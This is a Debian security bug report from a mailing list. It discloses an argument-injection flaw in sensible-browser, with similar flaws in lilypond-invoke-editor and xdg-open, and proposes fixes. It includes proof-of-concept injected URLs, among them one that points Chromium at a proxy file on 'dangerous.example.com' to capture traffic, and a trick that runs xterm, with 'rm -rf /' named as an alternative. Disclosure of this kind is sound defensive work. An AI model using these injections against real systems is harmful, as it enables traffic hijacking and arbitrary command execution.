[Secure-testing-team] Bug#881767: sensible-utils: Argument injection in sensible-browser

Gabriel Corona gabriel.corona at enst-bretagne.fr
Tue Nov 14 22:17:13 UTC 2017


Package: sensible-utils
Version: 0.0.10
Severity: grave
Tags: security
Justification: user security hole

When the BROWSER environment variable is set, an invalid URI can be
used to inject arguments in sensible-browser.


Description
===========

When BROWSER is set, sensible-browser calls the actual browser with:

~~~sh
cmd=$(printf "$i\n" "$URL")
$cmd && exit 0
~~~

If a IFS character is in $URL, this leads to the injection of extra
arguments when calling the actual browser.

For example, this commands triggers the incognito mode of Chromium:

~~~sh
BROWSER=chromium sensible-browser "http://www.example.com/ --incognito
~~~

This URI is invalid but if the caller does not properly validate the
URI, an attacker could add extra arguments when calling the browser.


For example, Emacs might call sensible-browser with an invalid
URI. With this configuration:

~~~elisp
(setq browse-url-browser-function (quote browse-url-generic))
(setq browse-url-generic-program "sensible-browser")
~~~

an org-mode file like this one:

~~~org
[[http://www.yahoo.fr --incognito][test]]
~~~

will trigger the incognito mode of Chromium (this does not happen with
org-mode 8.2.10 shipped in the emacs25 package but it does happen
using org-mode 9.1.2 shipped in the elpa-org package).


While this particular example is not very dangerous other arguments
can be more harmful. For example, it is possible to inject an argument
which overrides the proxy configuration (with a PAC file). This
org-mode link launches Chromium with an alternative PAC file
(silently):


~~~org
[[http://www.example.com/ --proxy-pac-file=http://dangerous.example.com/proxy.pac][test]]
~~~

An attacker could use this type of URI, to forward all the traffic
coming from the browser to a server he's controlling.



Possibles fixes
===============

* A simple fix, would be for sensible-browser to actually check that
  the URI parameter does not contain any IFS character (which are not
  valid in URI or IRI and fail if it does).  It should probably add
  extra verification (such as checking that the argument does not
  begin by a dash).

* Another solution would be to escape IFS characters.

* The simpler fix would probably to drop support for "%s" in the
  BROWSER string: this feature is not supported by other programs
  anyway. This is "Alternative Secure BROWSER Definition" in [1].

* Or we could implement "Compatible Secure BROWSER Definition" from
  [1] but it may not be very convenient to do in shell.

Moreover, we should probably add some basic URI validation in order to
reject things like:

~~~sh
BROWSER=chromium sensible-browser "--incognito"
~~~



Additional problems
===================

sensible-browser does not handle empty browser in the BROWSER
environment variable:

~~~sh
BROWSER=":chromium" sensible-browser "xterm"
~~~

This command runs xterm (we could have used "rm -rf /").



Similar vulnerabilities in other packages
=========================================

* lilypond

  lilypond-invoke-editor is vulnerable to the same argument injection
  [2]:

  ~~~sh
  BROWSER="chromium" lilypond-invoke-editor "http://www.example.com/ --incognito"
  ~~~
  
  Lilypond suggests using it as URI handler [3]:

  > When this functionality is active, LilyPond adds hyperlinks to the
  > PDF file. These hyperlinks are sent to a ‘URI helper’
  > or a web-browser, which opens a text-editor with the cursor in
  > the right place.
  >
  > To make this chain work, you should configure your PDF viewer
  > to follow hyperlinks using the ‘lilypond-invoke-editor’
  > script supplied with LilyPond.
  >
  > The program ‘lilypond-invoke-editor’ is a small helper program.
  > It will invoke an editor for the special textedit URIs, and run
  > a web browser for others. [...]

* xdg-open

  xdg-open's 'envvar' implementation (open_envvar) has this same
  problem when '%s' is present in $BROWSER:

  # Triggers incognito mode:
  BROWSER="chromium %s" xdg-open "http://www.example.com/ --incognito"

  # Does not trigger incognito mode:
  BROWSER="chromium" xdg-open "http://www.example.com/ --incognito"


References
==========

[1] https://www.dwheeler.com/browse/secure_browser.html

[2] http://sources.debian.net/src/lilypond/2.18.2-9/scripts/lilypond-invoke-editor.scm/#L129

[3] http://lilypond.org/doc/v2.18/Documentation/usage/configuring-the-system-for-point-and-click

[4] https://specifications.freedesktop.org/desktop-entry-spec/1.1/ar01s06.html


Thanks to Bastien Roucaries for some material and references.

-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing'), (500, 'stable'), (90, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=fr_FR.utf8, LC_CTYPE=fr_FR.utf8 (charmap=UTF-8), LANGUAGE=fr_FR.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

-- no debconf information


More information about the Secure-testing-team mailing list